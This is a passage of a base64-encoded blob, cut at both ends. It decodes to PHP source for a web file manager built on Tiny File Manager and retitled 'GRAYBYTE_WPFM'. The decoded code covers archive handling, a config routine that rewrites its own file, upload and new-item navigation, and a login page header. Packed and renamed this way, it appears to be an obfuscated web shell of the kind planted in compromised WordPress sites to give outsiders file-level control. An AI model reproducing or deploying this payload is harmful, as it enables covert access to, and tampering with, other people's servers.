oaXMtPnRhci0+YWRkRmlsZSgkZmlsZW5hbWUpO1xuICAgICAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgfVxuICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKCRmaWxlbmFtZSkpIHtcbiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+YWRkRGlyKCRmaWxlbmFtZSk7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBBZGQgZm9sZGVyIHJlY3Vyc2l2ZWx5XG4gICAgICogQHBhcmFtIHN0cmluZyAkcGF0aFxuICAgICAqIEByZXR1cm4gYm9vbFxuICAgICAqXC9cbiAgICBwcml2YXRlIGZ1bmN0aW9uIGFkZERpcigkcGF0aClcbiAgICB7XG4gICAgICAgICRvYmplY3RzID0gc2NhbmRpcigkcGF0aCk7XG4gICAgICAgIGlmIChpc19hcnJheSgkb2JqZWN0cykpIHtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7XG4gICAgICAgICAgICAgICAgaWYgKCRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5hZGREaXIoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHRyeSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnRhci0+YWRkRmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxufVxuXG5cLyoqXG4gKiBTYXZlIENvbmZpZ3VyYXRpb25cbiAqXC9cbmNsYXNzIEZNX0NvbmZpZ1xue1xuICAgIHZhciAkZGF0YTtcblxuICAgIGZ1bmN0aW9uIF9fY29uc3RydWN0KClcbiAgICB7XG4gICAgICAgIGdsb2JhbCAkcm9vdF9wYXRoLCAkcm9vdF91cmwsICRDT05GSUc7XG4gICAgICAgICRmbV91cmwgPSAkcm9vdF91cmwgLiAkX1NFUlZFUltcIlBIUF9TRUxGXCJdO1xuICAgICAgICAkdGhpcy0+ZGF0YSA9IGFycmF5KFxuICAgICAgICAgICAgJ2xhbmcnID0+ICdlbicsXG4gICAgICAgICAgICAnZXJyb3JfcmVwb3J0aW5nJyA9PiB0cnVlLFxuICAgICAgICAgICAgJ3Nob3dfaGlkZGVuJyA9PiB0cnVlXG4gICAgICAgICk7XG4gICAgICAgICRkYXRhID0gZmFsc2U7XG4gICAgICAgIGlmIChzdHJsZW4oJENPTkZJRykpIHtcbiAgICAgICAgICAgICRkYXRhID0gZm1fb2JqZWN0X3RvX2FycmF5KGpzb25fZGVjb2RlKCRDT05GSUcpKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICRtc2cgPSAnVGlueSBGaWxlIE1hbmFnZXI8YnI+RXJyb3I6IENhbm5vdCBsb2FkIGNvbmZpZ3VyYXRpb24nO1xuICAgICAgICAgICAgaWYgKHN1YnN0cigkZm1fdXJsLCAtMSkgPT0gJ1wvJykge1xuICAgICAgICAgICAgICAgICRmbV91cmwgPSBydHJpbSgkZm1fdXJsLCAnXC8nKTtcbiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+JztcbiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+U2VlbXMgbGlrZSB5b3UgaGF2ZSBhIHRyYWlsaW5nIHNsYXNoIG9uIHRoZSBVUkwuJztcbiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+VHJ5IHRoaXMgbGluazogPGEgaHJlZj1cIicgLiAkZm1fdXJsIC4gJ1wiPicgLiAkZm1fdXJsIC4gJzxcL2E+JztcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIGRpZSgkbXNnKTtcbiAgICAgICAgfVxuICAgICAgICBpZiAoaXNfYXJyYXkoJGRhdGEpICYmIGNvdW50KCRkYXRhKSkgJHRoaXMtPmRhdGEgPSAkZGF0YTtcbiAgICAgICAgZWxzZSAkdGhpcy0+c2F2ZSgpO1xuICAgIH1cblxuICAgIGZ1bmN0aW9uIHNhdmUoKVxuICAgIHtcbiAgICAgICAgZ2xvYmFsICRjb25maWdfZmlsZTtcbiAgICAgICAgJGZtX2ZpbGUgPSBpc19yZWFkYWJsZSgkY29uZmlnX2ZpbGUpID8gJGNvbmZpZ19maWxlIDogX19GSUxFX187XG4gICAgICAgICR2YXJfbmFtZSA9ICckQ09ORklHJztcbiAgICAgICAgJHZhcl92YWx1ZSA9IHZhcl9leHBvcnQoanNvbl9lbmNvZGUoJHRoaXMtPmRhdGEpLCB0cnVlKTtcbiAgICAgICAgJGNvbmZpZ19zdHJpbmcgPSBcIjw/cGhwXCIgLiBjaHIoMTMpIC4gY2hyKDEwKSAuIFwiXC9cL0RlZmF1bHQgQ29uZmlndXJhdGlvblwiIC4gY2hyKDEzKSAuIGNocigxMCkgLiBcIiR2YXJfbmFtZSA9ICR2YXJfdmFsdWU7XCIgLiBjaHIoMTMpIC4gY2hyKDEwKTtcbiAgICAgICAgaWYgKGlzX3dyaXRhYmxlKCRmbV9maWxlKSkge1xuICAgICAgICAgICAgJGxpbmVzID0gZmlsZSgkZm1fZmlsZSk7XG4gICAgICAgICAgICBpZiAoJGZoID0gQGZvcGVuKCRmbV9maWxlLCBcIndcIikpIHtcbiAgICAgICAgICAgICAgICBAZnB1dHMoJGZoLCAkY29uZmlnX3N0cmluZywgc3RybGVuKCRjb25maWdfc3RyaW5nKSk7XG4gICAgICAgICAgICAgICAgZm9yICgkeCA9IDM7ICR4IDwgY291bnQoJGxpbmVzKTsgJHgrKykge1xuICAgICAgICAgICAgICAgICAgICBAZnB1dHMoJGZoLCAkbGluZXNbJHhdLCBzdHJsZW4oJGxpbmVzWyR4XSkpO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmaCk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9XG59XG5cblwvXC8tLS0gVGVtcGxhdGVzIEZ1bmN0aW9ucyAtLS1cblxuXC8qKlxuICogU2hvdyBuYXYgYmxvY2tcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqXC9cbmZ1bmN0aW9uIGZtX3Nob3dfbmF2X3BhdGgoJHBhdGgpXG57XG4gICAgZ2xvYmFsICRsYW5nLCAkc3RpY2t5X25hdmJhciwgJGVkaXRGaWxlO1xuICAgICRpc1N0aWNreU5hdkJhciA9ICRzdGlja3lfbmF2YmFyID8gJ2ZpeGVkLXRvcCcgOiAnJztcbj8+XG4gICAgPG5hdiBjbGFzcz1cIm5hdmJhciBuYXZiYXItZXhwYW5kLWxnIG1iLTQgbWFpbi1uYXYgPD9waHAgZWNobyAkaXNTdGlja3lOYXZCYXIgPz4gYmctYm9keS10ZXJ0aWFyeVwiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICA8YSBjbGFzcz1cIm5hdmJhci1icmFuZFwiPiA8P3BocCBlY2hvIGxuZygnQXBwVGl0bGUnKSA/PiA8XC9hPlxuICAgICAgICA8YnV0dG9uIGNsYXNzPVwibmF2YmFyLXRvZ2dsZXJcIiB0eXBlPVwiYnV0dG9uXCIgZGF0YS1icy10b2dnbGU9XCJjb2xsYXBzZVwiIGRhdGEtYnMtdGFyZ2V0PVwiI25hdmJhclN1cHBvcnRlZENvbnRlbnRcIiBhcmlhLWNvbnRyb2xzPVwibmF2YmFyU3VwcG9ydGVkQ29udGVudFwiIGFyaWEtZXhwYW5kZWQ9XCJmYWxzZVwiIGFyaWEtbGFiZWw9XCJUb2dnbGUgbmF2aWdhdGlvblwiPlxuICAgICAgICAgICAgPHNwYW4gY2xhc3M9XCJuYXZiYXItdG9nZ2xlci1pY29uXCI+PFwvc3Bhbj5cbiAgICAgICAgPFwvYnV0dG9uPlxuICAgICAgICA8ZGl2IGNsYXNzPVwiY29sbGFwc2UgbmF2YmFyLWNvbGxhcHNlXCIgaWQ9XCJuYXZiYXJTdXBwb3J0ZWRDb250ZW50XCI+XG5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAkcGF0aCA9IGZtX2NsZWFuX3BhdGgoJHBhdGgpO1xuICAgICAgICAgICAgJHJvb3RfdXJsID0gXCI8YSBocmVmPSc/cD0nPjxpIGNsYXNzPSdmYSBmYS1ob21lJyBhcmlhLWhpZGRlbj0ndHJ1ZScgdGl0bGU9J1wiIC4gRk1fUk9PVF9QQVRIIC4gXCInPjxcL2k+PFwvYT5cIjtcbiAgICAgICAgICAgICRzZXAgPSAnPGkgY2xhc3M9XCJicmVhZC1jcnVtYlwiPiBcLyA8XC9pPic7XG4gICAgICAgICAgICBpZiAoJHBhdGggIT0gJycpIHtcbiAgICAgICAgICAgICAgICAkZXhwbG9kZWQgPSBleHBsb2RlKCdcLycsICRwYXRoKTtcbiAgICAgICAgICAgICAgICAkY291bnQgPSBjb3VudCgkZXhwbG9kZWQpO1xuICAgICAgICAgICAgICAgICRhcnJheSA9IGFycmF5KCk7XG4gICAgICAgICAgICAgICAgJHBhcmVudCA9ICcnO1xuICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8ICRjb3VudDsgJGkrKykge1xuICAgICAgICAgICAgICAgICAgICAkcGFyZW50ID0gdHJpbSgkcGFyZW50IC4gJ1wvJyAuICRleHBsb2RlZFskaV0sICdcLycpO1xuICAgICAgICAgICAgICAgICAgICAkcGFyZW50X2VuYyA9IHVybGVuY29kZSgkcGFyZW50KTtcbiAgICAgICAgICAgICAgICAgICAgJGFycmF5W10gPSBcIjxhIGhyZWY9Jz9wPXskcGFyZW50X2VuY30nPlwiIC4gZm1fZW5jKGZtX2NvbnZlcnRfd2luKCRleHBsb2RlZFskaV0pKSAuIFwiPFwvYT5cIjtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgJHJvb3RfdXJsIC49ICRzZXAgLiBpbXBsb2RlKCRzZXAsICRhcnJheSk7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPVwiY29sLXhzLTYgY29sLXNtLTVcIj4nIC4gJHJvb3RfdXJsIC4gJGVkaXRGaWxlIC4gJzxcL2Rpdj4nO1xuICAgICAgICAgICAgPz5cblxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC14cy02IGNvbC1zbS03XCI+XG4gICAgICAgICAgICAgICAgPHVsIGNsYXNzPVwibmF2YmFyLW5hdiBqdXN0aWZ5LWNvbnRlbnQtZW5kXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cIm5hdi1pdGVtIG1yLTJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJpbnB1dC1ncm91cCBpbnB1dC1ncm91cC1zbSBtci0xXCIgc3R5bGU9XCJtYXJnaW4tdG9wOjRweDtcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ1NlYXJjaCcpID8+XCIgYXJpYS1sYWJlbD1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PlwiIGFyaWEtZGVzY3JpYmVkYnk9XCJzZWFyY2gtYWRkb24yXCIgaWQ9XCJzZWFyY2gtYWRkb25cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiaW5wdXQtZ3JvdXAtYXBwZW5kXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPVwiaW5wdXQtZ3JvdXAtdGV4dCBicmwtMCBicnItMFwiIGlkPVwic2VhcmNoLWFkZG9uMlwiPjxpIGNsYXNzPVwiZmEgZmEtc2VhcmNoXCI+PFwvaT48XC9zcGFuPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiaW5wdXQtZ3JvdXAtYXBwZW5kIGJ0bi1ncm91cFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz1cImlucHV0LWdyb3VwLXRleHQgZHJvcGRvd24tdG9nZ2xlIGJybC0wXCIgZGF0YS1icy10b2dnbGU9XCJkcm9wZG93blwiIGFyaWEtaGFzcG9wdXA9XCJ0cnVlXCIgYXJpYS1leHBhbmRlZD1cImZhbHNlXCI+PFwvc3Bhbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImRyb3Bkb3duLW1lbnUgZHJvcGRvd24tbWVudS1yaWdodFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJkcm9wZG93bi1pdGVtXCIgaHJlZj1cIjw/cGhwIGVjaG8gJHBhdGgyID0gJHBhdGggPyAkcGF0aCA6ICcuJzsgPz5cIiBpZD1cImpzLXNlYXJjaC1tb2RhbFwiIGRhdGEtYnMtdG9nZ2xlPVwibW9kYWxcIiBkYXRhLWJzLXRhcmdldD1cIiNzZWFyY2hNb2RhbFwiPjw/cGhwIGVjaG8gbG5nKCdBZHZhbmNlZCBTZWFyY2gnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cIm5hdi1pdGVtXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnVXBsb2FkJykgPz5cIiBjbGFzcz1cIm5hdi1saW5rXCIgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDt1cGxvYWRcIj48aSBjbGFzcz1cImZhIGZhLWNsb3VkLXVwbG9hZFwiIGFyaWEtaGlkZGVuPVwidHJ1ZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdVcGxvYWQnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9saT5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cIm5hdi1pdGVtXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnTmV3SXRlbScpID8+XCIgY2xhc3M9XCJuYXYtbGlua1wiIGhyZWY9XCIjY3JlYXRlTmV3SXRlbVwiIGRhdGEtYnMtdG9nZ2xlPVwibW9kYWxcIiBkYXRhLWJzLXRhcmdldD1cIiNjcmVhdGVOZXdJdGVtXCI+PGkgY2xhc3M9XCJmYSBmYS1wbHVzLXNxdWFyZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdOZXdJdGVtJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvbGk+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoRk1fVVNFX0FVVEgpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibmF2LWl0ZW0gYXZhdGFyIGRyb3Bkb3duXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJuYXYtbGluayBkcm9wZG93bi10b2dnbGVcIiBpZD1cIm5hdmJhckRyb3Bkb3duTWVudUxpbmstNVwiIGRhdGEtYnMtdG9nZ2xlPVwiZHJvcGRvd25cIiBhcmlhLWV4cGFuZGVkPVwiZmFsc2VcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9XCJmYSBmYS11c2VyLWNpcmNsZVwiPjxcL2k+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvYT5cblxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJkcm9wZG93bi1tZW51IGRyb3Bkb3duLW1lbnUtZW5kIHRleHQtc21hbGwgc2hhZG93XCIgYXJpYS1sYWJlbGxlZGJ5PVwibmF2YmFyRHJvcGRvd25NZW51TGluay01XCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnU2V0dGluZ3MnKSA/PlwiIGNsYXNzPVwiZHJvcGRvd24taXRlbSBuYXYtbGlua1wiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7c2V0dGluZ3M9MVwiPjxpIGNsYXNzPVwiZmEgZmEtY29nXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdIZWxwJykgPz5cIiBjbGFzcz1cImRyb3Bkb3duLWl0ZW0gbmF2LWxpbmtcIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2hlbHA9MlwiPjxpIGNsYXNzPVwiZmEgZmEtZXhjbGFtYXRpb24tY2lyY2xlXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0hlbHAnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0xvZ291dCcpID8+XCIgY2xhc3M9XCJkcm9wZG93bi1pdGVtIG5hdi1saW5rXCIgaHJlZj1cIj9sb2dvdXQ9MVwiPjxpIGNsYXNzPVwiZmEgZmEtc2lnbi1vdXRcIiBhcmlhLWhpZGRlbj1cInRydWVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnTG9nb3V0JykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibmF2LWl0ZW1cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnU2V0dGluZ3MnKSA/PlwiIGNsYXNzPVwiZHJvcGRvd24taXRlbSBuYXYtbGlua1wiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7c2V0dGluZ3M9MVwiPjxpIGNsYXNzPVwiZmEgZmEtY29nXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICA8XC9kaXY+XG4gICAgPFwvbmF2PlxuPD9waHBcbn1cblxuXC8qKlxuICogU2hvdyBhbGVydCBtZXNzYWdlIGZyb20gc2Vzc2lvblxuICpcL1xuZnVuY3Rpb24gZm1fc2hvd19tZXNzYWdlKClcbntcbiAgICBpZiAoaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydtZXNzYWdlJ10pKSB7XG4gICAgICAgICRjbGFzcyA9IGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnc3RhdHVzJ10pID8gJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydzdGF0dXMnXSA6ICdvayc7XG4gICAgICAgIGVjaG8gJzxwIGNsYXNzPVwibWVzc2FnZSAnIC4gJGNsYXNzIC4gJ1wiPicgLiAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ21lc3NhZ2UnXSAuICc8XC9wPic7XG4gICAgICAgIHVuc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbWVzc2FnZSddKTtcbiAgICAgICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydzdGF0dXMnXSk7XG4gICAgfVxufVxuXG5cLyoqXG4gKiBTaG93IHBhZ2UgaGVhZGVyIGluIExvZ2luIEZvcm1cbiAqXC9cbmZ1bmN0aW9uIGZtX3Nob3dfaGVhZGVyX2xvZ2luKClcbntcbiAgICBoZWFkZXIoXCJDb250ZW50LVR5cGU6IHRleHRcL2h0bWw7IGNoYXJzZXQ9dXRmLThcIik7XG4gICAgaGVhZGVyKFwiRXhwaXJlczogU2F0LCAyNiBKdWwgMTk5NyAwNTowMDowMCBHTVRcIik7XG4gICAgaGVhZGVyKFwiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTBcIik7XG4gICAgaGVhZGVyKFwiUHJhZ21hOiBuby1jYWNoZVwiKTtcblxuICAgIGdsb2JhbCAkZmF2aWNvbl9wYXRoO1xuPz5cbiAgICA8IURPQ1RZUEUgaHRtbD5cbiAgICA8aHRtbCBsYW5nPVwiZW5cIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyAoRk1fVEhFTUUgPT0gXCJkYXJrXCIpID8gJ2RhcmsnIDogJ2xpZ2h0JyA/PlwiPlxuXG4gICAgPGhlYWQ+XG4gICAgICAgIDxtZXRhIGNoYXJzZXQ9XCJ1dGYtOFwiPlxuICAgICAgICA8bWV0YSBuYW1lPVwidmlld3BvcnRcIiBjb250ZW50PVwid2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm9cIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cImRlc2NyaXB0aW9uXCIgY29udGVudD1cIldlYiBiYXNlZCBGaWxlIE1hbmFnZXIgaW4gUEhQLCBNYW5hZ2UgeW91ciBmaWxlcyBlZmZpY2llbnRseSBhbmQgZWFzaWx5IHdpdGggVGlueSBGaWxlIE1hbmFnZXJcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cImF1dGhvclwiIGNvbnRlbnQ9XCJDQ1AgUHJvZ3JhbW1lcnNcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cInJvYm90c1wiIGNvbnRlbnQ9XCJub2luZGV4LCBub2ZvbGxvd1wiPlxuICAgICAgICA8bWV0YSBuYW1lPVwiZ29vZ2xlYm90XCIgY29udGVudD1cIm5vaW5kZXhcIj5cbiAgICAgICAgPD9waHAgaWYgKCRmYXZpY29uX3BhdGgpIHtcbiAgICAgICAgICAgIGVjaG8gJzxsaW5rIHJlbD1cImljb25cIiBocmVmPVwiJyAuIGZtX2VuYygkZmF2aWNvbl9wYXRoKSAuICdcIiB0eXBlPVwiaW1hZ2VcL3BuZ1wiPic7XG4gICAgICAgIH0gPz5cbiAgICAgICAgPHRpdGxlPkdSQVlCWVRFX1dQRk08XC90aXRsZT5cbiAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ3ByZS1qc2RlbGl2cicpOyA/PlxuICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnY3NzLWJvb3RzdHJhcCcpOyA/PlxuICAgICAgICA8c3R5bGU+XG4gICAgICAgICAgICBib2R5LmZtLWxvZ2luLXBhZ2Uge1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmN2Y5ZmI7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmN2Y5ZmI7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKFwiZGF0YTppbWFnZVwvc3ZnK3htbCwlM0NzdmcgeG1sbnM9J2h0dHA6XC9cL3d3dy53My5vcmdcLzIwMDBcL3N2Zycgdmlld0JveD0nMCAwIDMwNCAzMDQnIHdpZHRoPSczMDQnIGhlaWdodD0nMzA0JyUzRSUzQ3BhdGggZmlsbD0nJTIzZTJlOWYxJyBmaWxsLW9wYWNpdHk9JzAuNCcgZD0nTTQ0LjEgMjI0YTUgNSAwIDEgMSAwIDJIMHYtMmg0NC4xem0xNjAgNDhhNSA1IDAgMSAxIDAgMkg4MnYtMmgxMjIuMXptNTcuOC00NmE1IDUgMCAxIDEgMC0ySDMwNHYyaC00Mi4xem0wIDE2YTUgNSAwIDEgMSAwLTJIMzA0djJoLTQyLjF6bTYuMi0xMTRhNSA1IDAgMSAxIDAgMmgtODYuMmE1IDUgMCAxIDEgMC0yaDg2LjJ6bS0yNTYtNDhhNSA1IDAgMSAxIDAgMkgwdi0yaDEyLjF6bTE4NS44IDM0YTUgNSAwIDEgMSAwLTJoODYuMmE1IDUgMCAxIDEgMCAyaC04Ni4yek0yNTggMTIuMWE1IDUgMCAxIDEtMiAwVjBoMnYxMi4xem0tNjQgMjA4YTUgNSAwIDEgMS0yIDB2LTU0LjJhNSA1IDAgMSAxIDIgMHY1NC4yem00OC0xOTguMlY4MGg2MnYyaC02NFYyMS45YTUgNSAwIDEgMSAyIDB6bTE2IDE2VjY0aDQ2djJoLTQ4VjM3LjlhNSA1IDAgMSAxIDIgMHptLTEyOCA5NlYyMDhoMTZ2MTIuMWE1IDUgMCAxIDEtMiAwVjIxMGgtMTZ2LTc2LjFhNSA1IDAgMSAxIDIgMHptLTUuOS0yMS45YTUgNSAwIDEgMSAwIDJIMTE0djQ4SDg1LjlhNSA1IDAgMSAxIDAtMkgxMTJ2LTQ4aDEyLjF6bS02LjIgMTMwYTUgNSAwIDEgMSAwLTJIMTc2di03NC4xYTUgNSAwIDEgMSAyIDBWMjQyaC02MC4xem0tMTYtNjRhNSA1IDAgMSAxIDAtMkgxMTR2NDhoMTAuMWE1IDUgMCAxIDEgMCAySDExMnYtNDhoLTEwLjF6TTY2IDI4NC4xYTUgNSAwIDEgMS0yIDBWMjc0SDUwdjMwaC0ydi0zMmgxOHYxMi4xek0yMzYuMSAxNzZhNSA1IDAgMSAxIDAgMkgyMjZ2OTRoNDh2MzJoLTJ2LTMwaC00OHYtOThoMTIuMXptMjUuOC0zMGE1IDUgMCAxIDEgMC0ySDI3NHY0NC4xYTUgNSAwIDEgMS0yIDBWMTQ2aC0xMC4xem0tNjQgOTZhNSA1IDAgMSAxIDAtMkgyMDh2LTgwaDE2di0xNGgtNDIuMWE1IDUgMCAxIDEgMC0ySDIyNnYxOGgtMTZ2ODBoLTEyLjF6bTg2LjItMjEwYTUgNSAwIDEgMSAwIDJIMjcyVjBoMnYzMmgxMC4xek05OCAxMDEuOVYxNDZINTMuOWE1IDUgMCAxIDEgMC0ySDk2di00Mi4xYTUgNSAwIDEgMSAyIDB6TTUzLjkgMzRhNSA1IDAgMSAxIDAtMkg4MFYwaDJ2MzRINTMuOXptNjAuMSAzLjlWNjZIODJ2NjRINjkuOWE1IDUgMCAxID